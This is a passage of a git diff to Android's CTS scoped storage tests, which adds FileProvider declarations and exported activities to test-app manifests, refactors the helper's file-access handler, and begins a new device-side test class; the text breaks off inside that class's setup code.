     <application android:label="TestAppB">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.B.noperms"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
-
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
index e6ee00a..8cdeecb 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppC.xml
@@ -25,12 +25,22 @@
   <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppC">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.C"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
index be1bd75..394afc5 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppCLegacy.xml
@@ -23,12 +23,22 @@
   <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppCLegacy">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.C"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
new file mode 100644
index 0000000..18f49dc
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.D"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppDLegacy">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.D"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
new file mode 100644
index 0000000..1956d34
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.filemanager"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppFileManager">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.filemanager"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 8dfe7b7..11efea1 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -17,11 +17,14 @@
 
 import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_READ_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_WRITE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
-import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
+import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH;
 import static android.scopedstorage.cts.lib.TestUtils.OPEN_FILE_FOR_READ_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.OPEN_FILE_FOR_WRITE_QUERY;
@@ -32,12 +35,14 @@
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
 import android.app.Activity;
-import android.content.Intent;
 import android.content.ContentValues;
+import android.content.Intent;
+import android.net.Uri;
 import android.os.Bundle;
 import android.provider.MediaStore;
 
 import androidx.annotation.Nullable;
+import androidx.core.content.FileProvider;
 
 import java.io.File;
 import java.io.IOException;
@@ -76,6 +81,8 @@
                 case CAN_READ_WRITE_QUERY:
                 case CREATE_FILE_QUERY:
                 case DELETE_FILE_QUERY:
+                case CAN_OPEN_FILE_FOR_READ_QUERY:
+                case CAN_OPEN_FILE_FOR_WRITE_QUERY:
                 case OPEN_FILE_FOR_READ_QUERY:
                 case OPEN_FILE_FOR_WRITE_QUERY:
                 case SETATTR_QUERY:
@@ -158,27 +165,50 @@
 
     private Intent accessFile(String queryType) throws IOException {
         if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            final String packageName = getIntent().getStringExtra(INTENT_EXTRA_CALLING_PKG);
             final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
             final File file = new File(filePath);
-            boolean returnStatus = false;
-            if (queryType.equals(CAN_READ_WRITE_QUERY)) {
-                returnStatus = file.exists() && file.canRead() && file.canWrite();
-            } else if (queryType.equals(CREATE_FILE_QUERY)) {
-                maybeCreateParentDirInAndroid(file);
-                returnStatus = file.createNewFile();
-            } else if (queryType.equals(DELETE_FILE_QUERY)) {
-                returnStatus = file.delete();
-            } else if (queryType.equals(OPEN_FILE_FOR_READ_QUERY)) {
-                returnStatus = canOpen(file, false /* forWrite */);
-            } else if (queryType.equals(OPEN_FILE_FOR_WRITE_QUERY)) {
-                returnStatus = canOpen(file, true /* forWrite */);
-            } else if (queryType.equals(SETATTR_QUERY)) {
-                int newTimeMillis = 12345000;
-                returnStatus = file.setLastModified(newTimeMillis);
-            }
             final Intent intent = new Intent(queryType);
-            intent.putExtra(queryType, returnStatus);
-            return intent;
+            switch (queryType) {
+                case CAN_READ_WRITE_QUERY:
+                    intent.putExtra(queryType, file.exists() && file.canRead() && file.canWrite());
+                    return intent;
+                case CREATE_FILE_QUERY:
+                    maybeCreateParentDirInAndroid(file);
+                    if (!file.getParentFile().exists()) {
+                        file.getParentFile().mkdirs();
+                    }
+                    intent.putExtra(queryType, file.createNewFile());
+                    return intent;
+                case DELETE_FILE_QUERY:
+                    intent.putExtra(queryType, file.delete());
+                    return intent;
+                case SETATTR_QUERY:
+                    int newTimeMillis = 12345000;
+                    intent.putExtra(queryType, file.setLastModified(newTimeMillis));
+                    return intent;
+                case CAN_OPEN_FILE_FOR_READ_QUERY:
+                    intent.putExtra(queryType, canOpen(file, false));
+                    return intent;
+                case CAN_OPEN_FILE_FOR_WRITE_QUERY:
+                    intent.putExtra(queryType, canOpen(file, true));
+                    return intent;
+                case OPEN_FILE_FOR_READ_QUERY:
+                case OPEN_FILE_FOR_WRITE_QUERY:
+                    Uri contentUri = FileProvider.getUriForFile(getApplicationContext(),
+                            getApplicationContext().getPackageName(), file);
+                    intent.putExtra(queryType, contentUri);
+                    // Grant permission to the possible instrumenting test apps
+                    if (packageName != null) {
+                        getApplicationContext().grantUriPermission(packageName,
+                                contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                    }
+                    return intent;
+                default:
+                    throw new IllegalStateException(
+                            "Unknown query received from launcher app: " + queryType);
+            }
         } else {
             throw new IllegalStateException(queryType + ": File path not set from launcher app");
         }
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
index 01fec04..8d9d418 100644
--- a/hostsidetests/scopedstorage/TEST_MAPPING
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -1,12 +1,18 @@
 {
   "presubmit": [
     {
+      "name": "CtsScopedStorageCoreHostTest"
+    },
+    {
       "name": "CtsScopedStorageHostTest"
     }
   ],
   "presubmit-large": [
     {
       "name": "CtsScopedStoragePublicVolumeHostTest"
+    },
+    {
+      "name": "CtsScopedStorageDeviceOnlyTest"
     }
   ]
 }
diff --git a/hostsidetests/scopedstorage/device/AndroidManifest.xml b/hostsidetests/scopedstorage/device/AndroidManifest.xml
new file mode 100644
index 0000000..6f716fb
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.scopedstorage.cts.device">
+<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+<application android:label="Scoped Storage Device Tests">
+    <uses-library android:name="android.test.runner" />
+</application>
+
+<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                 android:targetPackage="android.scopedstorage.cts.device"
+                 android:label="Device-only scoped storage tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
new file mode 100644
index 0000000..fb8d2bc
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs device-only tests for scoped storage">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsScopedStorageDeviceOnlyTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+    </target_preparer>
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="test-suite-tag" value="cts" />
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.scopedstorage.cts.device" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+    </test>
+</configuration>
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
new file mode 100644
index 0000000..5299188
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.device;
+
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.TestUtils;
+
+import org.junit.BeforeClass;
+
+import java.util.Arrays;
+import java.util.List;
+
+class ScopedStorageBaseDeviceTest {
+    @BeforeClass
+    public static void setup() throws Exception {
+        createPublicVolume();
+        setupStorage();
+    }
+
+    private static void createPublicVolume() throws Exception {
+        if (TestUtils.getCurrentPublicVolumeName() == null) {
+            TestUtils.createNewPublicVolume();
+        }
+    }
+
+    private static void setupStorage() throws Exception {
+        if (!getContext().getPackageManager().isInstantApp()) {
+            pollForExternalStorageState();
+            getExternalFilesDir().mkdirs();
+        }
+    }
+
+    void setupExternalStorage(String volumeName) {
+        assertThat(volumeName).isNotNull();
+        if (volumeName.equals(MediaStore.VOLUME_EXTERNAL)) {
+            resetDefaultExternalStorageVolume();
+            TestUtils.assertDefaultVolumeIsPrimary();
+        } else {
+            setExternalStorageVolume(volumeName);
+            TestUtils.assertDefaultVolumeIsPublic();
+        }
+        setupDefaultDirectories();
+    }
+
+    static List<String> getTestParameters() {
+        return Arrays.asList(
+                MediaStore.VOLUME_EXTERNAL,
+                TestUtils.getCurrentPublicVolumeName()
+        );
+    }
+}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
new file mode 100644
index 0000000..634cf95
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -0,0 +1,2967 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.device;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.os.ParcelFileDescriptor.MODE_CREATE;
+import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
+import static android.os.SystemProperties.getBoolean;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
+import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
+import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
+import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
+import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
+import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRecordingsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.isAppInstalled;
+import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
+import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
+import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
+import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
+import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+import static android.system.OsConstants.F_OK;
+import static android.system.OsConstants.O_APPEND;
+import static android.system.OsConstants.O_CREAT;
+import static android.system.OsConstants.O_EXCL;
+import static android.system.OsConstants.O_RDWR;
+import static android.system.OsConstants.O_TRUNC;
+import static android.system.OsConstants.R_OK;
+import static android.system.OsConstants.S_IRWXU;
+import static android.system.OsConstants.W_OK;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.StructStat;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import com.android.cts.install.lib.TestApp;
+
+import com.google.common.io.Files;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify scoped storage business logic.
+ */
+@RunWith(Parameterized.class)
+public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
+    public static final String STR_DATA1 = "Just some random text";
+
+    public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
+
+    static final String TAG = "ScopedStorageDeviceTest";
+    static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
+
+    static final String TEST_DIRECTORY_NAME = "ScopedStorageDeviceTestDirectory" + NONCE;
+
+    static final String AUDIO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp3";
+    static final String PLAYLIST_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".m3u";
+    static final String SUBTITLE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".srt";
+    static final String VIDEO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp4";
+    static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+    static final String NONMEDIA_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".pdf";
+
+    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
+
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+    private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+            "android.scopedstorage.cts.testapp.filemanager", 1, false,
+            "CtsScopedStorageTestAppFileManager.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+    // The following apps are not installed at test startup - please install before using.
+    private static final TestApp APP_C = new TestApp("TestAppC",
+            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
+    private static final TestApp APP_C_LEGACY = new TestApp("TestAppCLegacy",
+            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+    private static final String[] SYSTEM_GALERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters
+    public static Iterable<? extends Object> data() {
+        return ScopedStorageDeviceTest.getTestParameters();
+    }
+
+    @BeforeClass
+    public static void setupApps() throws Exception {
+        // File manager needs to be explicitly granted MES app op.
+        final int fmUid =
+                getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+                        0);
+        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+        // Others are installed by target preparer with runtime permissions.
+        // Verify.
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
